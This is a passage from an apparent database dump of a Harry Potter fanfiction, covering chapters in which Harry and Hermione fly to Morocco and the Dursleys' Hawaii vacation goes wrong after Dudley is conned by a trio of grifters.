bed as she shoved Harry into the nearest chair facing her bed. </p>\n<p>Harry had been there quite a few times, though they spent most of their time studying in his room. Her room had light pink wallpaper with slightly darker floral print all over. It was well decorated and in one corner she stored all her plush toys from when she was young. The room was always neat and tidy, but her bed was a different story altogether. It was littered with Harry\'s scrolls and her schoolbooks which where open in different places.<br>\n<br>\n&quot; There were only spelling mistakes that I had to fix other than that it was all well above your usual quality. Look this one...&quot; said Hermione as she handed him the essay but did not pause. &quot;... You potions essay was good. A tad bit on the short side, but you covered all the points and some not mentioned... And here...Your Transfiguration essay it was captivating, fully researched, historical anecdotes and good layout. Oh look... there your Charms essay on<br>\n&quot;Kitchen charms and possible dangers to young children&quot; was really good. I think you were the only 4th year to choose it. Personally I didn\'t think you could pull it off but I was wrong&quot;<br>\n<br>\n* for someone saying they were wrong she was surprisingly happy * though Harry, as he was amazed how confusing Hermione really was to him. &quot;...Hold these...Defence Against Dark Arts. You wrote twelve scrolls and you only had to do six. It was well researched and I especially liked the detailed comparison about some common misconception about some creatures. You even listed some of the good creatures that are sometimes mistaken as evil. See... You worked hard and now you will reap the benefits.&quot; Harry was so stunned that he did not speak while she was talking. Several times he opened his mouth but then closed it soon after. Harry knew he had done more work than usual, but did not realize that he had really done quite so well. </p>\n<p>Hermione was positively beaming at &quot;her&quot; accomplishment. She had done the impossible task of make Harry like studying. She was well on her way to fix &quot;Harry Potter the boy who lived&quot; to be her idea of what he should be - A high achiever and someone that the Dark Lord would be afraid off. </p>\n<p>The day of the trip approached very quickly and except for his Care of Magical Creatures essay, he had nothing left to do, so he read up on Morocco and practiced his astral projection. Harry\'s skill at it actually had decreased from not using it enough. He only used it at night to read &quot;Hogwarts: A history.&quot; So Harry basically had to go through all the pain and suffering he went through to become proficient in it again. <br>\n<br>\nHarry remembered to pack his schoolbooks. He wanted to put page-turning charms on them as soon as he was in Morocco. Harry had an unexpected thought just before they boarded the plane (the Grangers did not want to use Floo powder even though it could have been faster and cost them nothing.) * Wonder how the Dursley\'s vacation was? *</p>\n<p>&nbsp;</p>\n<p>&nbsp;</p>\n<b><p align="CENTER">Review? If you like it please tell me. Tell me what I do to improve.</p></b>\n\n'),
	(13, 5, '\n\n\n\n<b></b><p align="CENTER"><b>Chapter Number:</b> 05<br>\n<b>Chapter Name:</b> Vacation</p>\n<p>&nbsp;</p>\n<p>Vernon Dursley was seemingly staring out the window, when he saw his nephew get into a shiny, newish looking BMW. His nephew, was, of course, Harry Potter, the boy who lived. Most witches in his age group (and several outside of it as well) had taken a shine to this fine specimen of a wizard.</p>\n<p>&quot;Look at them, Petunia. Them and their kind!&quot; Vernon grumphed. &quot;I bet my set of 2000 drill bits that they never did an honest day\'s work in their lives.&quot; He turned around to look at his wife. She realised she was supposed to do something, and gave an emphatic nod to express her similar opinion. Vernon continued on. &quot;I say...Hawaii. Sun, surf and the sand. Days spent relaxing, nights filled with fun. This is what we love. You work hard, you pour your blood and sweat into your work and you get rewarded.&quot;</p>\n<p>As a director the only hard work he\'d ever done was on the day his secretary was out sick, and he\'d had to make his own coffee. Aunt Petunia, in the meantime, had gone to the kitchen to prepare their dinner. She answered Vernon\'s question of &quot;What\'s for dinner, sweet pea?&quot;, &quot;Steak and kidney pie&quot; over her shoulder.</p>\n<p>The drive to the airport the following morning was a quick and uneventful one. They had borrowed a stretch limo taxi to take them there, partly so their luggage could fit in, and partly because Dudley couldn\'t squeeze into anything smaller.</p>\n<p>They arrived two hours before boarding was scheduled to commence, and to Petunia\'s delight, they visited all the duty free shops, but to her dismay, didn\'t buy anything..</p>\n<p>Once on board the plane, they found Dudley was quite a bit larger than the standard First/Business class seat. As the seats were arranged in groups of four, Dudley occupied two, and his parents had one each. During the seating adjustments, Dudley, being the hormonal teenage boy that he was, noticed how nice the stewardesses all were, and their trim, pert and generally pretty bodies.</p>\n<p>After cluing in on the little button on the control panel on his armrest, he kept asking them for small items, just so he could feast his eyes on the women, as they approached, leant over him to make sure he was happy, and left. After noticing his piggy eyes following their every movement, the stewardesses had had enough.</p>\n<p>On the eighth call, the young ladies called Martha in. Martha was the head of all the stewardesses, the one who kept things running smoothly in the background.</p>\n<p>She was 65 years old-and *very* experienced. She also had a body that could almost, but not quite, rival Dudley\'s body mass.</p>\n<p>&quot;The girls were commenting on the fine young man up in First class, and I thought I\'d take a gander meself.&quot; she said, smiling. &quot;What would ye like, m\'dear?&quot; she leered at him, fluttering her eyelashes.</p>\n<p>&quot;Uughh..&quot; Dudley whimpered</p>\n<p>&quot;Come on, tell Martha, darling.&quot; Martha winked. &quot;You don\'t need to be shy, y\'know.&quot;</p>\n<p>Dudley managed to form some words, but they were still a little squeaky. &quot;W-w-which way is the b-b-bathroom?&quot; he whispered.</p>\n<p>Martha\'s face fell. &quot;Oh.&quot; she said, &quot;Is that all you wanted? The bathroom\'s that way.&quot; she pointed to the back of the cabin. Then, she politely excused herself and made her way back to the little room where she managed the food, drinks, and customer relations. On the way back, she was heard muttering &quot;And there I was, thinking he wanted some more food and drink...&quot;</p>\n<p>After that particularly scarring experience, Dudley did not dare call on the services of the flight attendants again, in fear of the return of Martha. However, in the stewardesses\' cabin they broke out the party food and opened one of the bottles of champagne reserved for the First Class passengers. At the end of the flight, Martha was found drunk in her cabin, when there was a *small* dispute between two large ladies, a bag of duty-free perfumes, and a large box of Belgian chocolates. Dudley, however, was perfectly sober. A little shaken, but sober. His parents were surprised at his expression, having had a lovely flight with nice food, champagne, chocolate and a lovely romantic movie.</p>\n<p>The plane was delayed, arriving at Honolulu three hours behind schedule-mostly because of weather problems, although there were some rumors about the plane being overloaded.</p>\n<p>The Dursleys were as mad as hell, as they had hoped to sleep it off. It seemed as though they were cursed-when they reached their hotel, their room had been given away to another group, as they didn\'t show up at the expected time. Although the concierge had apologized profusely, he couldn\'t very well kick the poor people out of their room, and thus, the Dursleys had to take another room for the night. They were definitely not pleased with the new room, either. It had two (&quot;Only two?!?&quot; Dudley had complained) double beds, only one small window, and about the only upside to the room was that it came free, complements of the Management. Since the room was pretty small, and they had virtually nowhere else to go, the Dursleys decided a trip to the beach was in order.</p>\n<p>Halfway through the day, Dudley met a young woman (he thought she was around 16, or 18) by the name of Serena Blake. He immediately latched onto her, trying to be a ladies\' man. He bought her whatever she wanted, whenever she wanted. Serena was very &quot;impressed&quot; with the way Dudley so wisely spent his money. For the next five days, people staying at the same resort would wonder what the girl saw in him, since she was a shapley, lithe, blonde, tanned woman, who looked as though she\'d stepped straight out of Baywatch. Right down to the bright red bathers. Some slightly more worldly (and cynical) folk would have said &quot;money&quot;, others who were more romantically inclined thought that the pair were so cute.</p>\n<p>On the Sixth day, though, God created man. or rather, two men, who were quite underhanded in their ways, which included conning people out of money. Serena was one of the few they recruited to get a little bit more cash on the side than what their current car &quot;minding&quot; job did. And so, after Serena met with the two shifty characters, she went over to Dudley\'s room, and found him sitting on the sofa.</p>\n<p>&quot;Hello, Dudley.You\'re looking fine this morning.&quot; she said in a low voice</p>\n<p>&quot;Oh. Hi.&quot; Dudley replied dejectedly, staring out the window</p>\n<p>&quot;What\'s the matter, my sweet?&quot; Serena asked, putting one hand on his shoulder.</p>\n<p>&quot;Oh. My parents have stopped giving me money.&quot; Dudley said, showing his empty wallet to her.</p>\n<p>&quot;Oh, Dudley! What will we do?&quot; Serena sobbed, wrappering herself around him, and giving Dudley a hug.</p>\n<p>&quot;You mean, what will I do. I\'m the one with no money and no lunch.&quot; Dudley said in a monotone.</p>\n<p>&quot;Come with me, Dudleykins, and I\'ll take you out for a ride. After we do lunch, we can stop by that motel on the beach, and we\'ll have some special fun...you want to have fun, don\'t you?&quot;, she said, batting her eyelashes. Serena wrapped her arms around Dudley\'s thick neck once more, and started to move her fingers in small circles on his shoulder. Dudley couldn\'t resist temptation, and jumped off the sofa.</p>\n<p>He barged into his parents\' room-luckily, they weren\'t in there. He opened the drawer that he had seen his mother deposit the money in.</p>\n<p>&quot;Wow...&quot; he breathed in reverently as he saw the piles of green notes, just waiting to be taken. He heard a noise coming from the ensuite.</p>\n<p>&quot;Oh, sh-&quot; he exclaimed softly, and grabbed a few bundles of notes.&quot; Then, he &quot;tiptoed&quot; out to his room, where Serena was waiting.</p>\n<p>&quot;Quick!&quot; he said, &quot;my parents are coming!&quot; Dudley pulled Serena out of the room, and together they went downstairs to the foyer.</p>\n<p>On arrival, he flicked through the bundles of notes, and roughly estimated that he had about $3000 US. Serena looked around hurriedly.</p>\n<p>&quot;Here come your parents, I\'ve got to go.&quot; she said, and quickly joined a group of passing tourists. So, Dudley was left alone in the middle of the foyer, next to a (fake) palm tree, clutching a helluva lot of money. He whimpered, and looked for somewhere to go. Then, he had a bright idea. He, too, would join a group of passing tourists and pretend to be one of them as he snuck out of the hotel. Once out the door, he wondered what to do next. He obviously couldn\'t go back in, and he had no idea where to find Serena. Then it hit him. Well, actually, it pulled him off the sidewalk and stuffed him in a car. Dudley looked at his new surroundings in terror.</p>\n<p>&quot;Where am I?&quot; he whimpered, looking at the two muscular, black-suited men sitting on either side of him. He instinctively wanted to get out, even though the car was expensively furnished, in good nick, and had a bottle of champagne thoughtfully iced. Then, the blonde (which Dudley didn\'t previously notice) who was sitting in the front seat turned around. It was Serena.</p>\n<p>As soon as he saw her, Dudley\'s fears were soothed, and he began to calm down.</p>\n<p>&quot;Did you bring the money, Dudley?&quot; asked Serena in a husky voice.</p>\n<p>&quot;Oh, yes.&quot; he said, trying to sound sexy, but actually sounding rather like a five year old.</p>\n<p>&quot;Can we see it, then?&quot; she said, smiling.</p>\n<p>&quot;Anything for you, my sweet.&quot; he said, as he opened his meaty fist and showed her the wad of money. Then, he deposited the money into her outstretched hand.</p>\n<p>&quot;So. Are we gonna go to the motel now?&quot; he asked, after a few moments of silence, when she was counting out the cash.</p>\n<p>&quot;Yes. Of course we\'re going to the motel.&quot; Serena smiled. At first, Dudley thought she was looking at him. Then he realized her eyes weren\'t exactly focused, and that he had two *men* sitting on either side of him.</p>\n<p>&quot;However, it\'ll be with these two guys, Dudley. I\'m sorry.&quot; she smiled. &quot;We had a nice time together, and you\'re a sweet guy, but these two promised me a good time.&quot; Serena gave Dudley another regretful smile.</p>\n<p>&quot;Hey! But you promised!&quot; an angry Dudley tried to jump out of his seat and grab Serena, but the two men restrained him. They gave him one good right hook to the chin, and he was out like a shot bulb.</p>\n<p>One of the men grunted and asked Serena &quot;How much is there?&quot;</p>\n<p>She grinned and replied, &quot;Three, three and a half. Not bad. Last week it took us a month to get this much.&quot;</p>\n<p>&quot;Yeah.&quot;</p>\n<p>&quot;So do you two want your share now, or in the morning?&quot; asked the girl, hinting that maybe they should spend the night doing something other than sleeping</p>\n<p>&quot;Split the money here and now, then we go back to our places. You know the rules-no contact for at least three days before the next JOB.&quot; Said the taller one, obviously the leader of the group, who regularly preyed on tourists.</p>\n<p>When Dudley woke up, he was in the Honolulu General Hospital and it was the day before they were due to leave. Both Vernon and Petunia were furious at finding him in an alleyway in the back streets of Honolulu, and would not stop scolding him. But then, Dudley did what he did best. He started whining about how his parents didn&#8217;t appreciate him enough, didn&#8217;t love him enough, and what&#8217;s more, didn&#8217;t give him enough money. By the time he was finished, both parents were apologizing and coddling him once again.</p>\n<p>Whether or not it was fortunate that the Dursleys had just enough money to get to the airport after they paid the hospital and hotel bills, the Dursleys didn&#8217;t leave their streak of bad luck behind when they left the USA. Not only did they lose their luggage, they also managed to board the wrong plane (which was bound for Siberia). And then, arriving home after spending two days in subzero temperature, they found their house covered in graffiti, though, by some miracle, not burglarized.</p>\n<p align="CENTER">&lt;&lt;~~~&gt;&gt;</p>\n<p align="CENTER">&nbsp;</p>\n<b><p align="CENTER">Constructive Reviews are really Welcome. </p>\n<p align="CENTER">PS: Thanks Nate for the beta :)</p></b>\n\n'),
	(13, 6, '\n\n\n\n<b><p>&nbsp;</p>\n</b><p align="CENTER"><b>Chapter Number:</b> 06<br>\n<b>Chapter Name:</b> Gremlins on the Wing</p>\n<p>&nbsp;</p>\n<b><p>&nbsp;</p>\n</b><p>Harry had never been on a plane, but when he saw the compartment they were supposed to be in, he knew that this trip must have had cost a lot. The compartment was very spacious, with few seats, only a third as many as there were in the same area in the economy class, but Harry did not know that. The plush comfortable looking leather seats had a lot of room, both in front and the back. There was big screen that Harry assumed was used for in-flight movies.</p>\n<i></i><p><i>* I\'ll ask her later *</i>, he thought.</p>\n<p>The soft carpet and expensive looking lacquered wall, made Harry feel very guilty for accepting the gift that Hermione\'s parents had given him. &#8216;<i>It must have had cost them a lot of money&#8217; &#8211; </i>he kept thinking, and they had only known him for less than two months. </p>\n<p>When Harry approached their designated seats, Harry was amazed at the number of buttons that were there. He could identify fair few of them easily, the rest looked, well for a lack of a better word odd. &quot; Which seat do you want, Hermione?&quot; he asked finding the two designated seats for them.</p>\n<p>&quot; Well, I like to see the plane take off...&quot; she said, thinking deeply about the question like she always did, no matter how trivial the question was, &quot;... but since this is your first trip, you take it this way. I\'ll take it on the way back.&quot; She gave him a large smile that warmed his heart. It made him feel oddly enough, safe and secure. He thought about all the times Hermione had smiled like that. There was just so many. It was a good thing, since he had so many miserable things happen to him over the years, he was glad that Hermione wad stood by him through it all. The only time she had made him angry was when she told Professor McGonagall about the firebolt. She had assumed that the Firebolt was a gift from the convicted killer, Sirius Black, his godfather. In truth he did send the broom, but he was innocent.</p>\n<p>Harry scolded himself for doubting Hermione. She was always the smartest in their pack. * Ron...*, thought Harry. Well Harry knew that Ron could be a jealous git, but when it really came to the crunch time he was always there, Loyal. His thoughts then turned to the twins. It hadn\'t been a dull moment in Hogwarts, with them around. It was going to be a shame that they would leave at the end of the year.</p>\n<p>Feeling himself settling into the soft seat, Harry&#8217;s thoughts drifted back to the early morning discussion that he had with Hermione. He had expressed his concern over the amount of money that Hermione\'s parents had paid, but he was surprised to hear that the trip was not going to cost as much since it had been arranged by a friend of the families.</p>\n<p>Somehow in amongst remembering good times, the image of Cedric at the ball with Cho appeared before his eyes. He remembered wanting Cedric to fall off the face of the earth then. Ironically it had come true, but not without baggage. Though Harry knew, it was not his wish, which resulted in Cedric being dead, he could not help himself but think. Harry\'s thoughts turned to the duel he had with Lord Voldemort, in the graveyard. His mind analyzed the information from that day &#8211; he did that everyday. He wanted to come to a conclusion other than the one he had come up with, every day of the week, for the last two months.</p>\n<p>Hermione noticed the strange expression on his face. For a while she was unsure of what to do. <i>* He looks scared... No. That\'s not it. Maybe I should ask him *</i>, she thought, concerned.</p>\n<p>&quot; Harry&quot; said Hermione, as she leaned closer to Harry sitting next to her.</p>\n<p>&quot; huh...&quot; answered back a puzzled Harry.</p>\n<p>&quot; You have this... err.. look on your face. I don\'t know what you\'re thinking but it\'s making me nervous. &quot;</p>\n<p>&quot; Oh&quot; said Harry as if that should make her feel better.</p>\n<p>&quot; So...&quot; Hermione said in her frustrated voice. &quot; tell me.&quot;</p>\n<p>&quot; Tell you what?&quot; Harry was always a bit clueless. One should excuse his slowness though. That long summer of studying had to take a toll on him somehow. </p>\n<p>&quot; What were you thinking about?&quot; said Hermione as she paused a little waiting for Harry to tell her something, but when he didn\'t she continued, &quot; I swear I won\'t tell anyone. Not even-&quot; but Hermione was cut off in mid sentence.</p>\n<p>&quot; Okay...Okay... You aren\'t going like this, but I\'ll tell you anyway&quot; said Harry as he took a big breath before sitting up to continue. &quot;I don\'t think Vold- you-know-who was very strong when he attacked me last year... I already told you that part.&quot;</p>\n<p>More strange expressions passed Harry\'s face. &quot;...What I didn\'t tell you was how strong he really was. I doubt he had the same powers at the end of last year as he did when he killed my parents, before he disappeared leaving me behind. Do you want to know what\'s even worse?&quot;</p>\n<p>Hermione tried in vain to sound not to be disturbed by this news, but her counterpart knew her a bit better than she thought. </p>\n<p>&quot; What?&quot;</p>\n<p>He knew she was afraid when she asked the question, but she would ask it anyway, so that he could get it off his head. Harry thought of dismissing the conversation, but decided that Hermione would think he did not think she was brave enough. &quot; Remember the first year, when we had to get pass fluffy...&quot; Harry paused a second for Hermione to recall the events, before continued. </p>\n<p>&quot;...I think when Vold- you-know-who attacked me last year, he was much weaker than he was back in our first year. He could have had killed me if he waited, but decided waiting too long might give me an opportunity to escape, or give enough time for his death eaters to turn on him. With my protection gone I really wasn\'t much of a threat to him. I shudder to think how powerful he really can become...&quot;</p>\n<p>Hermione gasped at the news. She could hardly bring herself to believe it. If what Harry thought was right then he would not be able to survive an encounter with a fully powered the dark lord, much less defeat him. She had the romanticized idea that Harry would one day be the greatest wizard in the world, but she now started to fear for his life. Her body started to shiver slightly.</p>\n<p>When Harry noticed her shiver. He gently took hand and used his thumb to stroke across the back of her palm. Hermione felt the panic dissipate, as a wave of warmth started to wash over her. Seeing that Hermione had returned to her normal demeanor, Harry stopped and whispered to Hermione. &quot; Don\'t worry. Everything will be alright.&quot; </p>\n<p>Harry did not give a reason why, or how it was going to be all right. But Hermione believed in him. When the final bit of the panic left she joined Harry in watching the three gremlins on the wing of the Airplane. Seeing the gremlins caused a flash back...</p>\n<p>&nbsp;</p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p>.... OK. So does anyone know what gremlins are?&quot; asked Professor Lupin.</p>\n<p>&quot; Those ugly creatures that go on the wings of aeroplanes and try to crash them...&quot; asked a muggleborn Hufflepuff called Jemi.</p>\n<p>&quot;...err...no... close, but not exactly...&quot; Professor Lupin looked around again. Hermione still had her hands up. She was not going to put it down until he asked her.</p>\n<p>&quot;... Anyone?&quot; He looked pleadingly at almost everyone in the class. &quot;... Anyone but Hermione? There\'s a prize for the person. An extra day at Hogsmede with three other friends&quot;.</p>\n<p>When no one else put up their hand, Professor Lupin turned to Hermione &quot;...Oh, OK. Hermione - but no trip for you.&quot;</p>\n<p>Hermione was not unhappy at all, Ron was a different case altogether different, as she put down her hand and said, &quot; Gremlins are fun loving creatures with an odd obsession. They love to get as high as they can off the ground and then jump. They don\'t have any protective devices to save them from jumping. The reason why was a bit odd to say the least. When they crash into the ground below, they split apart into bits. It takes them a fair few days, for all the bits to get back together, at which time the they repeat the process all over again.&quot;</p>\n<p>&quot; Excellent answer Hermione. From what Jemi said, it\'s clear that a lot of wizards and witches have misconceptions about the...&quot;</p>\n<p>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n<p>&nbsp;</p>\n<p>As Hermione relaxed, as much as she could do so under the circumstances, into her seat, she saw Harry take out a book. She knew the book almost intimately; its size, shape and texture were so familiar to her that, had she tried to picture it in her mind she would have no trouble at all. Before she knew it she was asleep &#8211; with a slight smile in the corner of her lips, happy in the fact that someone else other than her liked the book to read it when they did not need to. </p>\n<p>&nbsp;</p>\n<p align="CENTER">~o0o~</p>\n<p align="CENTER">&nbsp;</p>\n<p>Hermione woke up after a few hours into the journey and there was at least another hour left of it. Most of the people were sleeping or enjoying the last part of the in-flight movie (You\'ve Got mail). She turned her head to the window to see Harry sleeping comfortably on the seat next to her, his mouth was open a little bit as he was drooling slightly. She could not help but grin a little.</p>\n<i></i><p><i>*Something to tease him about *</i> she thought smiling. </p>\n<p>Then she noticed that the pages of the thick book were turning by themselves. The gasp she made caught the attention of the Harry - who was reading the book in his Astral form.</p>\n<p>Harry had been so absorbed in his reading of events leading up to the great wizarding war between the Druids of England and Mages of She\'orn in the late 1100\'s, that he did not realize that Hermione was awake. But as soon as he heard her gasp, he regretted not telling her about reading books when he was in Astral Projection. Her face had a mixture of emotions on it ranging from amazement to disbelief to fear. </p>\n<p>Harry made a split second decision to tell Hermione right there and then about it. When he snapped open his eyes, he saw the look on her face had not changed in the time between his waking up and him stopping the projection. He wasn\'t sure whether or not it was because he had returned to his body, almost instantaneously that her face still held the same expression of fear and disbelief.</p>\n<p>&quot; It was me...&quot; he said to softly when he was back.</p>\n<p>&quot; Huh?&quot; </p>\n<p>Hermione paid no attention to what Harry had said, so he repeated, &quot; I was reading the book.&quot; </p>\n<p>&quot; How?... What did you say?...&quot; even as Hermione said this her brain was rushing to finish analyzing what Harry had just told her. Once she realized the implications of his statements she was right royally angry. </p>\n<p>&quot; ... I don\'t believe this! HARRY POTTER! HOW COULD YOU NOT TELL ME?&quot; Yelled Hermione, managing to get attention from quite a few people, some sleeping others not. </p>\n<p>&quot; shush....&quot; said Harry, trying to get Hermione to reduce the pitch of her voice. &quot; ...calm down. I only found out a few days ago and I was going to tell you when we got to Morocco.&quot; said Harry in a low voice to emphasise the need for secrecy. &quot; Think about it. I can now literally study in my sleep. Besides didn\'t you wonder why I wanted to I want to do Automatic page turning Charm on all my books?... even the small ones. &quot; Harry paused just long enough for Hermione to think about what he had just said and then stared again before she could ask anything else again. &quot; Hermione... I\'m really sorry. I should\'ve told you about it when I foun -&quot; he stopped in mid sentences and the tone of voice suddenly changed into total regret, &quot; I\'ll do anything... Just name it?&quot;</p>\n<p>Hermione was not to be satisfied that easily. She wanted to know exactly when and how he learned that he could (rather the charm could sense him) do this. After about fifteen minutes of groveling and detailed explanation, Hermione was calm again.</p>\n<p>&quot; You know if you had told me before I would have had Mrs. McDougol put those charms on the books&quot; said Hermione. </p>\n<p>&quot; I don\'t want anyone knowing about my powers just yet.&quot; He paused before solemnly saying, &quot;Not even Ron.&quot;</p>\n<p>Hermione was surprised. <i>* He tells Ron everything. Why would he not want to tell him about the powers... Oh! No! They didn\'t have another argument did they...but when could they have ha....*</i> </p>\n<p>&quot; Why?&quot; she asked frowning. &quot; You didn&#8217;t have another fight with him did you?&quot;.</p>\n<p>&quot; No. You remember last year... remember when he was acting like a big baby that I got to be a champion and he didn\'t. I had to risk my life in the first task to get him to realize I didn\'t put my name in it... I don\'t want that to happen again... and then there\'s a chance that Vold-you-know-who would come after me too soon, if he knew I was gaining strength &#8211; if I&#8217;m getting stronger at all.&quot;</p>\n<p>&quot; You really thought this through...haven\'t you?&quot; asked Hermione, amazed at just how much thought the &quot;reckless Harry Potter&quot; had put into thinking about the situation. <i>* Well... You grow up really fast if there was a mad man...no mad thing after you... * </i>thought Hermione bitterly as she looked at Harry. </p>\n<p>&quot; I guess...&quot; said Harry, then he could not resist adding something more, &quot;...you\'re rubbing off on me.&quot;</p>\n<p>&nbsp;</p>\n<p>Hermione gave him a playful punch before the two friends drifted off topic and started to talk about a variety of other subjects. The subjects were as varied as each second to an hour. They also talked about brooms and Quidditch, and Harry was all too happy to fill her in on some of the finer points of the game. Hermione had many misconceptions about the game and Harry was glad to rectify them. </p>\n<p>As time wore on the time for their arrival drew closer. The excitement of exploring a new country could be seen very clearly on Hermione\'s face, but their landing was a bit bumpy because of the strong winds, but aside from that there was no trouble on the flight.</p>\n<p>&nbsp;</p>\n<b><p align="CENTER">Errors? Grammar? Plot hole? Anything you want to tell me about?</p></b>\n\n'),
	(13, 7, '\n\n\n\n<b><p>&nbsp;</p>\n</b><p align="CENTER"><b>Chapter Number:</b> 07<br>\n<b>Chapter Name:</b> The Carpet Man</p>\n<p>When they had cleared through customs and were appearing where families and friends meet, Harry saw someone that he almost instantaneously recognized as a wizard. It was hardly difficult since he had his wand in hand.</p>\n<p>The man was tall like Sirius with sharp blue eyes, a small curly moustache and a very easily identifiable scar that was probably left by a dangerous magical beast on his left arm. As soon as the man saw Harry and the rest of the group he rushed over to them with an expression that was of meeting a long time friend after a long separation.</p>\n<p>&quot;... Ahh. You must be Harry&quot; said the man is a voice filled with delight.</p>\n<p>&quot; Yes. This is my friend Hermione Granger and those two muggles at the checkpoint are her parents. Mr and Mrs. Granger ... Are you Mr. Ali Pasha?&quot;</p>\n<p>&quot; Sweet Merlin! You look like the exact duplicate of your father... except for your eyes. They remind me of someone... I just can\'t remember who.&quot; </p>\n<p>Mr. Pasha then seemed to stop in his track and ask in a trembling voice, &quot; No! It couldn\'t be... Did they? - So he realized...&quot; at this point his voice and thoughts became more composed, &quot; Could you tell me the name of your mother please son? &quot;</p>\n<p>&quot; My mother\'s name was Lily Evans- &quot; Harry wanted to ask more about his father but Mr. Pasha interrupted. He started to laugh confusing Harry.</p>\n<p>&quot; Excuse me... Why are you laughing?-&quot; He felt insulted that he was laughing at his mother. If Mr. Pasha had kept laughing a little longer, he wouldn&#8217;t laugh ever again. </p>\n<p>&quot; Oh! I knew it. I knew it! Your father... that dope finally got it through his head.&quot;</p>\n<p>&quot; What did you know? What did he realize? ....&quot; asked Harry very curious to find out more about his father.</p>\n<p>&quot; Ok, remember you asked. Your father and I met on a trip that we took together to the Ukrainian forests. We became friends quickly and after the trip I went to Hogwarts for about a month and a half. Back then they had an exchange program... Well anyway, your father had a friend at school, Lily was her name. She was beautiful, had wild red hair, kind of like her brown one...&quot; said Mr. Pasha pointing at Hermione. </p>\n<p>Harry turned quickly towards Hermione, but then turned back to Mr. Pasha. At this point the whole party was out of the airport and into a large waiting car, which was even bigger inside. The inside of the car was like a limo. It had two rows of four seats facing each other in the passenger part and the front of the car was reserved for the driver. </p>\n<p>Harry never saw a head in the front seat, so he assumed the car either drove itself or someone very small was driving it. He did not bother to actually find out anything about the car, as he was very much more interested in what Mr. Pasha was saying about his parents. The whole group settled down on comfortable leather seats, and was relaxing in no time at all. </p>\n<p>Hermione blushed when she was compared to Lily Evans. Everyone in the wizarding world knew that Lily was a very beautiful woman and in her days at Hogwarts, she had no shortage of admirers.</p>\n<p>Mr. Pasha did not pause, &quot;... Well any way... I knew he was friends with her, I think they were best friends at that time. I thought they loved each other, so I asked him about it. He vehemently denied that they were anything more than friends and that she had a boyfriend that she was very serious with.&quot;</p>\n<p>Mr. Pasha had a small grin in his face. &quot;...But I could tell by the way they looked out for one another, the way they talked to each other, I knew that wasn\'t the case. I told him that, but he didn\'t believe a word of it...&quot; </p>\n<p>He had a single tear running down his face now. He paused a few seconds, wiping his face with the back of his hand and then continuing. &quot;... Well, Looks like I was right. One day an owl came with their wedding invitation, but it did not have any information about who he was getting married to. I think your father wanted me to come tell him \'I told you so\'. Alas I couldn\'t go. There was a war here at that time-&quot;</p>\n<p>&quot; You mean the Shozar Wars?&quot; asked Hermione.</p>\n<p>&quot; -yes. Not many people know about the war. It\'s nothing compared to what Britain has seen over the years, but it was pretty big here. How did-&quot; Mr. Pasha stopped looking at Harry and turned his attention to Hermione before going back to Harry.</p>\n<p>&quot; Top of every class, sensible, most of the time in the library and a little too caring about the house elves?&quot; it was a question he directed to Harry.</p>\n<p>&quot; Yes. How did you know?&quot; asked Harry, as he was very surprised at the accuracy of what he just said. Mr. Pasha looked at Hermione again. His intense gaze was making her a little uncomfortable. </p>\n<p>&quot; I was wrong girl, when I said you were kind of like Lily...&quot; paused Mr. Pasha. Upon hearing this Hermione was a little hurt. A few minutes ago she was compared to one of the most beautiful women the wizarding world had seen and now it was taken back. &quot;... You are her!&quot; He paused a little to let the words sink in with Hermione.</p>\n<p>&quot;The same smile, same intelligence, same beauty, and the same hair...well her hair was more on the red side and a lot longer but messy in the morning if she didn\'t use that potion &#8211;err&#8230; I can&#8217;t remember it&#8217;s name. Hell you even have the same sort of little eccentricities about books and elves. It\'s uncanny really...&quot; then Mr. Pasha looked at Harry and said, &quot;Well... I think I\'ll talk to you more about your parents later, as I suspect we have reached our destination.&quot; Just as soon as he said this the car started to slow down before coming to a full stop soon after. Hermione had never been compared to a legendary beauty (granted that most of her fame was for bearing the boy who lived).</p>\n<p>Though Harry and Hermione wanted to know more about Harry\'s parents, they didn\'t object to the abrupt end of their conversation. Harry stepped out of the car and looked at Hermione who was beet-red. </p>\n<p>The place that Harry and the rest of the group were taken to was called &quot; Toshok&quot;, which is an ancient word for carpet. Mr. Pasha explained how he got into the flying carpet business after the Shozar wars. He cracked a joke about being the number one in his field and how it was very easy since he was the only one who made the flying carpets.</p>\n<p>His wife, Mrs. Pasha did not say anything during the car ride but once they all approached the stairs of the house, she took lead.</p>\n<p>&quot; Welcome to my humble abode.&quot; As she did a small bow and pointed to the closed door. Mr. Granger and Harry were going to follow go in first but Mr. Pasha held them back by their shoulders. &quot; It\'s traditional that the women from the family and the guest party enter the house first, then they come out and they can give permission to the their male counter part to enter the house.&quot; He explained.</p>\n<p>Hermione, her mother and Mrs. Pasha entered the house and closed the door behind them. &quot; ... What if they say we can\'t come in? Do we stay here for rest of the holiday?&quot; asked Mr. Granger with a little concern in his voice.</p>\n<p>&quot; My wife likes to leave me outside until its time for dinner. That way I don\'t mess up the house&quot; as she tells me. Good thing dinner is only in half an hour.&quot;</p>\n<p>&quot; OH! You poor man!&quot; said Mr. Granger, thinking it was actually true.</p>\n<p>&quot; No! I\'m just joking. It\'ll take them a few minutes to finish the inspection of the house. Once they are finished they come out and basically invite us in.&quot; At this point the three women come out of the house and tell them to come inside. </p>\n<p>The house amazed Harry. It was not terribly big, but it was decorated well and it felt almost as much like home, just as Hermione\'s house did. They talked through dinner and herbal tea afterwards. While Harry and Hermione were shown to their room (two on opposite side of a t-shaped corridor with another room in the middle occupied by Mr. and Mrs. Granger), by the house elf much, to the dislike of Hermione, the adults discussed wide range of topics, including the fact that Mrs. Pasha was going to the tour guide for Mr. &amp; Mrs. Granger, since she was a muggle!</p>\n<b><p align="CENTER">Mistakes? Ideas? Problems? Plot holes? Dare I think &#8211; Compliments?</p>\n</b>\n\n'),
